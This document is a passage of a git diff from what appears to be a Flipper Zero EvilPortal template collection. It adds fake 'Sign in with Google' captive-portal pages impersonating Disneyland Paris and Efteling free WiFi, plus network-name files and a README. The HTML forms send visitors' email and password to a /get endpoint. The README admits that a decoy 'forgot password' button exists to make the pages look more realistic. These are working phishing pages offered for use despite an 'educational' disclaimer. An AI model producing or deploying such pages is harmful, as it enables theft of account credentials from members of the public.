fill="#203855" stroke="none">
<path d="M1190 7259 c-256 -19 -526 -65 -666 -113 -130 -44 -173 -72 -289
-190 -118 -119 -165 -192 -165 -255 1 -55 33 -116 77 -146 114 -75 417 -70
482 8 7 9 13 32 13 52 0 74 -53 108 -142 94 -71 -12 -145 -10 -164 4 -29 21
-17 59 26 80 90 44 364 81 737 98 1356 64 2789 -381 3886 -1206 707 -532 1195
-1181 1301 -1732 20 -106 23 -286 5 -398 -16 -96 -68 -259 -109 -342 -110
-216 -305 -422 -529 -556 -521 -313 -1287 -378 -2194 -186 l-146 31 -6 172
c-4 94 -10 438 -14 764 l-6 592 196 0 c297 0 610 -32 921 -95 134 -27 328 -85
388 -116 66 -34 108 -77 108 -113 -1 -85 -77 -169 -220 -241 -50 -25 -94 -53
-97 -62 -10 -26 53 -71 131 -95 160 -49 355 15 510 168 112 110 159 239 137
371 -50 286 -367 528 -855 653 -298 76 -597 106 -978 97 l-248 -6 3 362 c2
351 1 364 -21 447 -47 170 -135 341 -200 385 -65 44 -136 25 -172 -45 -23 -45
-69 -221 -99 -380 -37 -200 -52 -329 -65 -579 -7 -139 -17 -255 -22 -260 -5
-4 -92 -22 -193 -41 -804 -143 -1327 -386 -1406 -653 -111 -375 465 -975 1380
-1439 99 -50 181 -91 182 -92 1 -1 7 -66 13 -146 22 -290 63 -384 190 -443 60
-29 228 -31 276 -5 83 46 136 134 156 262 7 42 17 76 23 76 5 0 39 -9 75 -20
190 -59 459 -115 675 -142 140 -17 536 -17 675 0 950 115 1726 575 2044 1211
52 103 106 256 131 371 26 120 31 373 10 505 -55 351 -240 728 -548 1114 -124
155 -466 499 -642 645 -401 334 -802 593 -1305 844 -803 401 -1571 623 -2395
692 -138 11 -700 11 -855 -1z m1504 -3291 c-8 -97 -24 -780 -24 -1020 l0 -238
-52 21 c-172 67 -450 204 -616 303 -409 244 -673 503 -698 686 -5 40 -3 50 20
77 71 84 325 149 732 188 220 21 392 32 531 34 l112 1 -5 -52z"/>
<path d="M7930 6753 c-463 -73 -875 -332 -1129 -711 -49 -72 -67 -119 -87
-220 -38 -195 8 -409 114 -533 l33 -38 -17 -51 c-29 -87 4 -278 56 -325 24
-21 100 -31 128 -16 11 6 45 46 75 88 70 101 85 109 163 89 167 -43 432 -46
609 -7 242 53 470 174 745 394 297 238 469 497 445 671 -9 73 -69 181 -140
252 -81 82 -144 106 -276 108 l-97 1 -27 63 c-51 117 -142 193 -271 226 -58
15 -253 20 -324 9z m-236 -481 c2 -4 -43 -46 -101 -92 -175 -140 -419 -394
-529 -549 -16 -22 -32 -41 -37 -41 -18 0 -47 67 -47 111 0 74 41 141 155 254
181 179 412 324 517 325 20 0 39 -3 42 -8z m888 -82 c163 -61 186 -179 71
-353 -101 -152 -394 -341 -638 -412 -152 -44 -316 -68 -430 -62 -100 4 -195
23 -195 37 0 17 490 507 579 578 255 205 451 273 613 212z"/>
<path d="M11728 4890 c-26 -16 -41 -74 -33 -133 4 -29 44 -167 90 -307 129
-396 144 -462 180 -811 44 -420 43 -603 -1 -640 -12 -10 -22 -4 -57 33 -53 58
-125 178 -294 493 -153 284 -366 612 -468 723 -265 286 -435 108 -530 -553
-73 -511 -109 -1311 -63 -1415 25 -58 122 -120 185 -120 43 0 147 71 171 116
19 37 32 193 47 569 24 636 39 765 85 765 49 0 123 -126 261 -449 107 -248
225 -488 290 -586 69 -104 168 -202 244 -240 81 -40 200 -47 269 -17 170 76
343 383 391 697 23 149 16 448 -14 619 -23 129 -99 442 -132 540 -58 175 -198
402 -340 551 -134 140 -230 196 -281 165z"/>
<path d="M17335 4610 c-18 -20 -18 -23 6 -113 34 -129 32 -271 -5 -422 -28
-114 -170 -543 -341 -1025 -117 -332 -139 -428 -132 -590 14 -340 180 -513
558 -585 103 -19 265 -19 349 0 144 33 350 143 442 236 120 122 181 292 147
412 -24 88 -135 101 -341 40 -195 -57 -292 -81 -380 -94 -96 -13 -143 -1 -174
46 -36 56 -29 92 100 500 78 245 131 452 161 630 31 178 43 412 26 500 -37
196 -260 485 -374 485 -13 0 -32 -9 -42 -20z"/>
<path d="M19522 4585 c-131 -37 -275 -109 -346 -174 -16 -14 -59 -72 -96 -128
-169 -253 -272 -493 -370 -857 -22 -83 -45 -153 -52 -157 -14 -9 -35 1 -107
52 -45 32 -63 39 -103 39 l-48 0 0 -61 c0 -93 52 -332 87 -404 9 -16 26 -42
40 -56 l25 -27 -21 -128 c-43 -270 -39 -356 25 -491 64 -135 174 -226 292
-240 64 -7 97 11 111 64 6 21 11 141 11 273 0 236 10 332 42 398 13 26 17 27
158 43 80 9 286 38 458 64 172 26 316 45 320 41 4 -4 7 -179 7 -389 1 -447 2
-452 83 -484 69 -26 155 -24 217 7 64 31 204 165 238 227 69 128 98 368 79
659 -14 224 -46 460 -77 584 -79 311 -226 631 -391 851 -82 108 -157 180 -265
255 l-71 49 -97 2 c-61 2 -116 -3 -149 -12z m64 -471 c105 -50 189 -241 284
-642 27 -114 48 -207 47 -207 -1 -1 -99 -12 -217 -25 -244 -26 -451 -36 -535
-25 l-57 7 6 51 c37 283 165 632 280 763 42 48 113 94 144 94 8 0 29 -7 48
-16z"/>
<path d="M7390 4547 c-19 -12 -42 -36 -52 -53 -20 -35 -45 -200 -82 -558 -44
-413 -51 -538 -51 -946 0 -412 14 -655 42 -696 35 -55 210 -112 300 -98 84 12
162 92 182 185 31 144 -5 1493 -50 1847 -11 93 -49 207 -87 264 -50 77 -136
100 -202 55z"/>
<path d="M9170 4560 c-617 -35 -1001 -184 -1129 -437 -50 -100 -71 -175 -71
-256 0 -142 53 -248 149 -296 126 -64 262 -85 656 -101 470 -19 562 -34 866
-146 202 -75 290 -122 331 -179 26 -35 29 -47 26 -93 -3 -32 -13 -64 -25 -80
-126 -170 -628 -295 -1118 -279 -389 14 -555 79 -555 220 0 61 45 122 119 160
103 51 182 34 446 -99 l191 -96 91 -5 c235 -14 583 97 583 186 0 92 -366 237
-735 292 -156 23 -389 25 -485 5 -93 -20 -216 -70 -280 -114 -172 -120 -213
-384 -92 -591 145 -248 552 -437 982 -457 387 -18 835 96 1037 264 70 59 118
143 159 277 52 174 43 466 -17 594 -13 26 -58 81 -103 126 -65 65 -101 91
-181 132 -217 111 -450 159 -970 198 -337 26 -449 47 -572 106 -28 14 -43 27
-43 40 0 27 65 66 141 84 192 44 760 92 1339 114 202 8 221 10 310 39 143 47
200 104 200 201 0 93 -40 121 -220 152 -197 33 -757 54 -1030 39z"/>
<path d="M22193 4494 c-32 -32 -30 -48 25 -304 78 -354 96 -537 97 -946 0
-258 -3 -324 -14 -337 -18 -23 -24 -22 -56 11 -47 46 -90 121 -290 506 -245
473 -310 583 -410 694 -58 65 -115 96 -159 88 -53 -10 -168 -71 -219 -116 -63
-56 -77 -86 -143 -307 -143 -484 -242 -947 -273 -1278 -28 -302 -25 -333 36
-404 50 -59 98 -81 177 -81 54 0 69 4 94 25 40 34 60 87 72 195 21 188 89 546
145 770 59 235 110 353 150 348 28 -4 127 -205 245 -498 196 -488 256 -606
369 -717 76 -75 128 -97 227 -98 73 0 87 3 156 38 149 73 271 243 332 462 90
321 96 787 15 1162 -77 355 -270 707 -431 787 -67 34 -111 34 -145 0z"/>
<path d="M15455 4491 c-16 -10 -66 -56 -110 -102 -302 -317 -688 -905 -739
-1126 -52 -231 -36 -506 40 -672 53 -116 171 -270 260 -337 l32 -25 -19 -67
c-48 -164 -141 -542 -173 -702 -73 -366 -99 -617 -100 -936 l-1 -241 30 -43
c71 -102 277 -227 391 -237 94 -8 96 -4 106 173 30 579 60 833 148 1274 37
182 133 586 141 595 3 2 58 13 124 24 218 36 366 93 562 212 239 146 438 365
559 615 122 254 196 625 173 873 -24 264 -142 510 -265 557 -61 23 -102 12
-231 -62 -532 -307 -879 -697 -1129 -1269 -68 -157 -89 -187 -122 -183 -33 4
-85 77 -122 171 -38 95 -35 220 9 347 57 169 139 307 318 538 175 227 234 352
236 507 3 125 -38 166 -118 116z m1184 -705 c61 -64 66 -233 12 -392 -55 -164
-328 -517 -488 -630 -153 -110 -449 -203 -470 -148 -22 57 367 684 591 952
184 220 291 286 355 218z"/>
<path d="M14105 4464 c-22 -3 -107 -11 -190 -20 -82 -8 -256 -26 -385 -39
-129 -13 -320 -29 -425 -34 -104 -6 -218 -13 -253 -15 -78 -5 -102 -23 -102
-79 0 -43 43 -134 85 -179 28 -31 59 -41 182 -63 137 -25 134 -20 80 -156 -25
-63 -64 -162 -87 -221 l-42 -108 -69 0 c-39 0 -78 -4 -88 -10 -46 -24 -62
-223 -27 -338 l19 -63 -67 -132 c-91 -180 -101 -223 -101 -427 0 -133 3 -175
18 -217 27 -77 87 -164 174 -252 97 -97 146 -116 298 -115 129 1 244 24 425
84 274 91 661 276 758 364 32 28 62 89 62 123 -1 74 -108 200 -191 225 -59 17
-202 -1 -539 -67 -202 -40 -311 -57 -375 -58 l-90 -2 1 55 c2 102 135 414 186
438 18 8 106 16 245 23 412 18 551 28 605 47 46 15 53 21 61 52 14 55 3 238
-15 257 -26 25 -87 32 -384 42 -269 10 -364 20 -390 42 -9 7 6 44 59 147 39
75 75 140 80 144 25 16 147 22 472 23 300 1 358 3 408 18 199 59 243 120 180
248 -36 72 -151 185 -233 229 -63 34 -68 35 -185 36 -66 1 -138 0 -160 -2z"/>
<path d="M23375 4370 c-188 -28 -429 -165 -472 -267 -21 -52 -17 -132 12 -189
38 -77 109 -106 164 -68 22 16 23 22 17 77 -6 60 -6 60 33 97 51 49 112 65
231 64 334 -6 821 -250 1136 -569 254 -258 413 -597 391 -835 -7 -80 -33 -128
-90 -167 -162 -109 -497 -143 -833 -82 l-62 11 -7 196 c-5 114 -3 357 3 577
11 357 11 381 -6 414 -36 70 -136 90 -215 43 -36 -20 -87 -99 -118 -182 -53
-139 -108 -415 -131 -649 -7 -72 -17 -131 -22 -131 -11 0 -74 68 -119 127 -51
68 -105 86 -172 59 -42 -18 -63 -50 -86 -133 -28 -100 -33 -196 -15 -281 35
-165 116 -257 370 -417 9 -6 26 -51 40 -106 42 -167 104 -258 188 -276 47 -10
181 0 236 18 39 13 76 64 93 129 l12 47 136 6 c287 11 595 109 797 252 146
104 349 358 418 522 62 148 71 194 71 358 0 166 -14 234 -75 370 -76 170 -267
401 -445 540 -303 236 -720 400 -1127 444 -108 12 -277 12 -353 1z"/>
<path d="M25291 2298 c-88 -15 -151 -94 -151 -187 0 -61 13 -97 48 -135 131
-139 358 -37 340 154 -12 117 -113 190 -237 168z m112 -34 c45 -23 66 -44 88
-86 64 -126 -60 -279 -193 -238 -63 18 -124 84 -133 141 -20 133 121 242 238
183z"/>
<path d="M25270 2110 c0 -100 3 -120 15 -120 11 0 15 12 15 50 0 66 19 66 62
0 31 -47 51 -60 62 -42 3 5 -8 28 -24 52 -26 39 -28 46 -15 60 8 9 15 33 15
53 0 45 -28 67 -87 67 l-43 0 0 -120z"/>
<path d="M24767 1275 c-178 -37 -286 -133 -287 -254 -1 -160 104 -244 409
-331 158 -45 186 -59 195 -96 16 -64 -46 -97 -179 -96 -104 1 -178 19 -290 68
-128 57 -116 63 -113 -62 l3 -109 85 -28 c121 -41 217 -57 338 -57 172 0 303
38 386 110 55 49 76 97 76 176 0 160 -90 234 -385 319 -152 44 -202 67 -217
100 -44 97 234 115 456 30 34 -13 69 -26 79 -30 15 -7 17 2 17 94 l0 101 -33
14 c-129 53 -404 80 -540 51z"/>
<path d="M16793 1272 l-263 -2 0 -480 0 -480 155 0 155 0 0 195 0 195 158 -2
c169 -2 226 8 322 57 90 46 139 128 140 230 0 159 -122 264 -332 283 -40 4
-191 6 -335 4z m298 -204 c46 -20 65 -67 48 -115 -16 -49 -64 -66 -191 -71
l-108 -4 0 107 0 108 108 -5 c64 -3 121 -11 143 -20z"/>
<path d="M18566 805 c-130 -256 -236 -470 -236 -475 0 -6 63 -10 159 -10 l158
0 46 95 46 95 258 0 258 0 50 -95 50 -95 163 0 c89 0 162 3 162 6 0 3 -118
217 -262 475 l-261 469 -178 0 -177 0 -236 -465z m594 -117 c0 -5 -77 -8 -171
-8 -94 0 -169 4 -167 9 2 5 39 83 82 175 l80 166 88 -167 c48 -93 88 -171 88
-175z"/>
<path d="M20740 795 l0 -475 150 0 150 0 0 190 0 190 68 0 c60 0 74 -4 108
-29 61 -44 77 -67 154 -206 40 -72 75 -133 79 -138 4 -4 82 -6 174 -5 l166 3
-94 165 c-74 128 -108 177 -154 220 l-59 56 55 29 c220 115 141 410 -124 464
-35 7 -177 11 -365 11 l-308 0 0 -475z m521 285 c102 -29 119 -134 29 -181
-14 -7 -73 -15 -132 -17 l-108 -5 0 107 0 106 88 0 c48 0 103 -5 123 -10z"/>
<path d="M23000 795 l0 -475 155 0 155 0 0 475 0 475 -155 0 -155 0 0 -475z"/>
</g>
</svg>
</div>
<div class="form-container">
<center><h1>Sign in with <font color="#4285F4">G</font><font color="#EA4335">o</font><font color="#FBBC05">o</font><font color="#4285F4">g</font><font color="#34A853">l</font><font color="#EA4335">e</font>
</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<a href="javascript:void(0);" class="forgot-password">Forgot password?</a>
<button class="submit-btn" type="submit">Continue</button>
<div class="error-message"></div>
</form>
</div>
</div>
<script>
document.querySelector('.forgot-password').addEventListener('click', function() {
var errorMessage = document.querySelector('.error-message');
errorMessage.innerHTML = "Please refer to your Google account";
errorMessage.style.display = 'block';
});
</script>
</body>
</html>

View File

@@ -0,0 +1 @@
Disneyland Paris WiFi

View File

@@ -0,0 +1,269 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #203855;
margin-right: 100px
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 2px solid #203855;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #203855;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
margin-top: 20px;
}
.submit-btn:hover {
background: #4D469B;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="256.000000pt" height="72.000000pt" viewBox="0 0 2560.000000 727.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,727.000000) scale(0.100000,-0.100000)"
fill="#203855" stroke="none">
<path d="M1190 7259 c-256 -19 -526 -65 -666 -113 -130 -44 -173 -72 -289
-190 -118 -119 -165 -192 -165 -255 1 -55 33 -116 77 -146 114 -75 417 -70
482 8 7 9 13 32 13 52 0 74 -53 108 -142 94 -71 -12 -145 -10 -164 4 -29 21
-17 59 26 80 90 44 364 81 737 98 1356 64 2789 -381 3886 -1206 707 -532 1195
-1181 1301 -1732 20 -106 23 -286 5 -398 -16 -96 -68 -259 -109 -342 -110
-216 -305 -422 -529 -556 -521 -313 -1287 -378 -2194 -186 l-146 31 -6 172
c-4 94 -10 438 -14 764 l-6 592 196 0 c297 0 610 -32 921 -95 134 -27 328 -85
388 -116 66 -34 108 -77 108 -113 -1 -85 -77 -169 -220 -241 -50 -25 -94 -53
-97 -62 -10 -26 53 -71 131 -95 160 -49 355 15 510 168 112 110 159 239 137
371 -50 286 -367 528 -855 653 -298 76 -597 106 -978 97 l-248 -6 3 362 c2
351 1 364 -21 447 -47 170 -135 341 -200 385 -65 44 -136 25 -172 -45 -23 -45
-69 -221 -99 -380 -37 -200 -52 -329 -65 -579 -7 -139 -17 -255 -22 -260 -5
-4 -92 -22 -193 -41 -804 -143 -1327 -386 -1406 -653 -111 -375 465 -975 1380
-1439 99 -50 181 -91 182 -92 1 -1 7 -66 13 -146 22 -290 63 -384 190 -443 60
-29 228 -31 276 -5 83 46 136 134 156 262 7 42 17 76 23 76 5 0 39 -9 75 -20
190 -59 459 -115 675 -142 140 -17 536 -17 675 0 950 115 1726 575 2044 1211
52 103 106 256 131 371 26 120 31 373 10 505 -55 351 -240 728 -548 1114 -124
155 -466 499 -642 645 -401 334 -802 593 -1305 844 -803 401 -1571 623 -2395
692 -138 11 -700 11 -855 -1z m1504 -3291 c-8 -97 -24 -780 -24 -1020 l0 -238
-52 21 c-172 67 -450 204 -616 303 -409 244 -673 503 -698 686 -5 40 -3 50 20
77 71 84 325 149 732 188 220 21 392 32 531 34 l112 1 -5 -52z"/>
<path d="M7930 6753 c-463 -73 -875 -332 -1129 -711 -49 -72 -67 -119 -87
-220 -38 -195 8 -409 114 -533 l33 -38 -17 -51 c-29 -87 4 -278 56 -325 24
-21 100 -31 128 -16 11 6 45 46 75 88 70 101 85 109 163 89 167 -43 432 -46
609 -7 242 53 470 174 745 394 297 238 469 497 445 671 -9 73 -69 181 -140
252 -81 82 -144 106 -276 108 l-97 1 -27 63 c-51 117 -142 193 -271 226 -58
15 -253 20 -324 9z m-236 -481 c2 -4 -43 -46 -101 -92 -175 -140 -419 -394
-529 -549 -16 -22 -32 -41 -37 -41 -18 0 -47 67 -47 111 0 74 41 141 155 254
181 179 412 324 517 325 20 0 39 -3 42 -8z m888 -82 c163 -61 186 -179 71
-353 -101 -152 -394 -341 -638 -412 -152 -44 -316 -68 -430 -62 -100 4 -195
23 -195 37 0 17 490 507 579 578 255 205 451 273 613 212z"/>
<path d="M11728 4890 c-26 -16 -41 -74 -33 -133 4 -29 44 -167 90 -307 129
-396 144 -462 180 -811 44 -420 43 -603 -1 -640 -12 -10 -22 -4 -57 33 -53 58
-125 178 -294 493 -153 284 -366 612 -468 723 -265 286 -435 108 -530 -553
-73 -511 -109 -1311 -63 -1415 25 -58 122 -120 185 -120 43 0 147 71 171 116
19 37 32 193 47 569 24 636 39 765 85 765 49 0 123 -126 261 -449 107 -248
225 -488 290 -586 69 -104 168 -202 244 -240 81 -40 200 -47 269 -17 170 76
343 383 391 697 23 149 16 448 -14 619 -23 129 -99 442 -132 540 -58 175 -198
402 -340 551 -134 140 -230 196 -281 165z"/>
<path d="M17335 4610 c-18 -20 -18 -23 6 -113 34 -129 32 -271 -5 -422 -28
-114 -170 -543 -341 -1025 -117 -332 -139 -428 -132 -590 14 -340 180 -513
558 -585 103 -19 265 -19 349 0 144 33 350 143 442 236 120 122 181 292 147
412 -24 88 -135 101 -341 40 -195 -57 -292 -81 -380 -94 -96 -13 -143 -1 -174
46 -36 56 -29 92 100 500 78 245 131 452 161 630 31 178 43 412 26 500 -37
196 -260 485 -374 485 -13 0 -32 -9 -42 -20z"/>
<path d="M19522 4585 c-131 -37 -275 -109 -346 -174 -16 -14 -59 -72 -96 -128
-169 -253 -272 -493 -370 -857 -22 -83 -45 -153 -52 -157 -14 -9 -35 1 -107
52 -45 32 -63 39 -103 39 l-48 0 0 -61 c0 -93 52 -332 87 -404 9 -16 26 -42
40 -56 l25 -27 -21 -128 c-43 -270 -39 -356 25 -491 64 -135 174 -226 292
-240 64 -7 97 11 111 64 6 21 11 141 11 273 0 236 10 332 42 398 13 26 17 27
158 43 80 9 286 38 458 64 172 26 316 45 320 41 4 -4 7 -179 7 -389 1 -447 2
-452 83 -484 69 -26 155 -24 217 7 64 31 204 165 238 227 69 128 98 368 79
659 -14 224 -46 460 -77 584 -79 311 -226 631 -391 851 -82 108 -157 180 -265
255 l-71 49 -97 2 c-61 2 -116 -3 -149 -12z m64 -471 c105 -50 189 -241 284
-642 27 -114 48 -207 47 -207 -1 -1 -99 -12 -217 -25 -244 -26 -451 -36 -535
-25 l-57 7 6 51 c37 283 165 632 280 763 42 48 113 94 144 94 8 0 29 -7 48
-16z"/>
<path d="M7390 4547 c-19 -12 -42 -36 -52 -53 -20 -35 -45 -200 -82 -558 -44
-413 -51 -538 -51 -946 0 -412 14 -655 42 -696 35 -55 210 -112 300 -98 84 12
162 92 182 185 31 144 -5 1493 -50 1847 -11 93 -49 207 -87 264 -50 77 -136
100 -202 55z"/>
<path d="M9170 4560 c-617 -35 -1001 -184 -1129 -437 -50 -100 -71 -175 -71
-256 0 -142 53 -248 149 -296 126 -64 262 -85 656 -101 470 -19 562 -34 866
-146 202 -75 290 -122 331 -179 26 -35 29 -47 26 -93 -3 -32 -13 -64 -25 -80
-126 -170 -628 -295 -1118 -279 -389 14 -555 79 -555 220 0 61 45 122 119 160
103 51 182 34 446 -99 l191 -96 91 -5 c235 -14 583 97 583 186 0 92 -366 237
-735 292 -156 23 -389 25 -485 5 -93 -20 -216 -70 -280 -114 -172 -120 -213
-384 -92 -591 145 -248 552 -437 982 -457 387 -18 835 96 1037 264 70 59 118
143 159 277 52 174 43 466 -17 594 -13 26 -58 81 -103 126 -65 65 -101 91
-181 132 -217 111 -450 159 -970 198 -337 26 -449 47 -572 106 -28 14 -43 27
-43 40 0 27 65 66 141 84 192 44 760 92 1339 114 202 8 221 10 310 39 143 47
200 104 200 201 0 93 -40 121 -220 152 -197 33 -757 54 -1030 39z"/>
<path d="M22193 4494 c-32 -32 -30 -48 25 -304 78 -354 96 -537 97 -946 0
-258 -3 -324 -14 -337 -18 -23 -24 -22 -56 11 -47 46 -90 121 -290 506 -245
473 -310 583 -410 694 -58 65 -115 96 -159 88 -53 -10 -168 -71 -219 -116 -63
-56 -77 -86 -143 -307 -143 -484 -242 -947 -273 -1278 -28 -302 -25 -333 36
-404 50 -59 98 -81 177 -81 54 0 69 4 94 25 40 34 60 87 72 195 21 188 89 546
145 770 59 235 110 353 150 348 28 -4 127 -205 245 -498 196 -488 256 -606
369 -717 76 -75 128 -97 227 -98 73 0 87 3 156 38 149 73 271 243 332 462 90
321 96 787 15 1162 -77 355 -270 707 -431 787 -67 34 -111 34 -145 0z"/>
<path d="M15455 4491 c-16 -10 -66 -56 -110 -102 -302 -317 -688 -905 -739
-1126 -52 -231 -36 -506 40 -672 53 -116 171 -270 260 -337 l32 -25 -19 -67
c-48 -164 -141 -542 -173 -702 -73 -366 -99 -617 -100 -936 l-1 -241 30 -43
c71 -102 277 -227 391 -237 94 -8 96 -4 106 173 30 579 60 833 148 1274 37
182 133 586 141 595 3 2 58 13 124 24 218 36 366 93 562 212 239 146 438 365
559 615 122 254 196 625 173 873 -24 264 -142 510 -265 557 -61 23 -102 12
-231 -62 -532 -307 -879 -697 -1129 -1269 -68 -157 -89 -187 -122 -183 -33 4
-85 77 -122 171 -38 95 -35 220 9 347 57 169 139 307 318 538 175 227 234 352
236 507 3 125 -38 166 -118 116z m1184 -705 c61 -64 66 -233 12 -392 -55 -164
-328 -517 -488 -630 -153 -110 -449 -203 -470 -148 -22 57 367 684 591 952
184 220 291 286 355 218z"/>
<path d="M14105 4464 c-22 -3 -107 -11 -190 -20 -82 -8 -256 -26 -385 -39
-129 -13 -320 -29 -425 -34 -104 -6 -218 -13 -253 -15 -78 -5 -102 -23 -102
-79 0 -43 43 -134 85 -179 28 -31 59 -41 182 -63 137 -25 134 -20 80 -156 -25
-63 -64 -162 -87 -221 l-42 -108 -69 0 c-39 0 -78 -4 -88 -10 -46 -24 -62
-223 -27 -338 l19 -63 -67 -132 c-91 -180 -101 -223 -101 -427 0 -133 3 -175
18 -217 27 -77 87 -164 174 -252 97 -97 146 -116 298 -115 129 1 244 24 425
84 274 91 661 276 758 364 32 28 62 89 62 123 -1 74 -108 200 -191 225 -59 17
-202 -1 -539 -67 -202 -40 -311 -57 -375 -58 l-90 -2 1 55 c2 102 135 414 186
438 18 8 106 16 245 23 412 18 551 28 605 47 46 15 53 21 61 52 14 55 3 238
-15 257 -26 25 -87 32 -384 42 -269 10 -364 20 -390 42 -9 7 6 44 59 147 39
75 75 140 80 144 25 16 147 22 472 23 300 1 358 3 408 18 199 59 243 120 180
248 -36 72 -151 185 -233 229 -63 34 -68 35 -185 36 -66 1 -138 0 -160 -2z"/>
<path d="M23375 4370 c-188 -28 -429 -165 -472 -267 -21 -52 -17 -132 12 -189
38 -77 109 -106 164 -68 22 16 23 22 17 77 -6 60 -6 60 33 97 51 49 112 65
231 64 334 -6 821 -250 1136 -569 254 -258 413 -597 391 -835 -7 -80 -33 -128
-90 -167 -162 -109 -497 -143 -833 -82 l-62 11 -7 196 c-5 114 -3 357 3 577
11 357 11 381 -6 414 -36 70 -136 90 -215 43 -36 -20 -87 -99 -118 -182 -53
-139 -108 -415 -131 -649 -7 -72 -17 -131 -22 -131 -11 0 -74 68 -119 127 -51
68 -105 86 -172 59 -42 -18 -63 -50 -86 -133 -28 -100 -33 -196 -15 -281 35
-165 116 -257 370 -417 9 -6 26 -51 40 -106 42 -167 104 -258 188 -276 47 -10
181 0 236 18 39 13 76 64 93 129 l12 47 136 6 c287 11 595 109 797 252 146
104 349 358 418 522 62 148 71 194 71 358 0 166 -14 234 -75 370 -76 170 -267
401 -445 540 -303 236 -720 400 -1127 444 -108 12 -277 12 -353 1z"/>
<path d="M25291 2298 c-88 -15 -151 -94 -151 -187 0 -61 13 -97 48 -135 131
-139 358 -37 340 154 -12 117 -113 190 -237 168z m112 -34 c45 -23 66 -44 88
-86 64 -126 -60 -279 -193 -238 -63 18 -124 84 -133 141 -20 133 121 242 238
183z"/>
<path d="M25270 2110 c0 -100 3 -120 15 -120 11 0 15 12 15 50 0 66 19 66 62
0 31 -47 51 -60 62 -42 3 5 -8 28 -24 52 -26 39 -28 46 -15 60 8 9 15 33 15
53 0 45 -28 67 -87 67 l-43 0 0 -120z"/>
<path d="M24767 1275 c-178 -37 -286 -133 -287 -254 -1 -160 104 -244 409
-331 158 -45 186 -59 195 -96 16 -64 -46 -97 -179 -96 -104 1 -178 19 -290 68
-128 57 -116 63 -113 -62 l3 -109 85 -28 c121 -41 217 -57 338 -57 172 0 303
38 386 110 55 49 76 97 76 176 0 160 -90 234 -385 319 -152 44 -202 67 -217
100 -44 97 234 115 456 30 34 -13 69 -26 79 -30 15 -7 17 2 17 94 l0 101 -33
14 c-129 53 -404 80 -540 51z"/>
<path d="M16793 1272 l-263 -2 0 -480 0 -480 155 0 155 0 0 195 0 195 158 -2
c169 -2 226 8 322 57 90 46 139 128 140 230 0 159 -122 264 -332 283 -40 4
-191 6 -335 4z m298 -204 c46 -20 65 -67 48 -115 -16 -49 -64 -66 -191 -71
l-108 -4 0 107 0 108 108 -5 c64 -3 121 -11 143 -20z"/>
<path d="M18566 805 c-130 -256 -236 -470 -236 -475 0 -6 63 -10 159 -10 l158
0 46 95 46 95 258 0 258 0 50 -95 50 -95 163 0 c89 0 162 3 162 6 0 3 -118
217 -262 475 l-261 469 -178 0 -177 0 -236 -465z m594 -117 c0 -5 -77 -8 -171
-8 -94 0 -169 4 -167 9 2 5 39 83 82 175 l80 166 88 -167 c48 -93 88 -171 88
-175z"/>
<path d="M20740 795 l0 -475 150 0 150 0 0 190 0 190 68 0 c60 0 74 -4 108
-29 61 -44 77 -67 154 -206 40 -72 75 -133 79 -138 4 -4 82 -6 174 -5 l166 3
-94 165 c-74 128 -108 177 -154 220 l-59 56 55 29 c220 115 141 410 -124 464
-35 7 -177 11 -365 11 l-308 0 0 -475z m521 285 c102 -29 119 -134 29 -181
-14 -7 -73 -15 -132 -17 l-108 -5 0 107 0 106 88 0 c48 0 103 -5 123 -10z"/>
<path d="M23000 795 l0 -475 155 0 155 0 0 475 0 475 -155 0 -155 0 0 -475z"/>
</g>
</svg>
</div>
<div class="form-container">
<center><h1>Sign in with <font color="#4285F4">G</font><font color="#EA4335">o</font><font color="#FBBC05">o</font><font color="#4285F4">g</font><font color="#34A853">l</font><font color="#EA4335">e</font>
</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<button class="submit-btn" type="submit">Continue</button>
</form>
</div>
</div>
</body>
</html>

View File

@@ -0,0 +1,6 @@
# !!FOR EDUCATIONAL USES ONLY!!
This one **emulates a portal for an Efteling "Free Hotspot"** using EvilPortal on your Flipper Zero.
The **HTML in the *"WithForgotCredentials"* file** contains a **"forgot credentials" button on the user side to make it look more realistic**. This button only shows a message inviting them to go on their provider's app if they forgot their login/password.
## Happy flippin'

View File

@@ -0,0 +1 @@
Efteling WiFi

View File

@@ -0,0 +1,265 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #AC1923;
margin-right: 100px
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 2px solid #AC1923;
border-radius: 4px;
box-sizing: border-box;
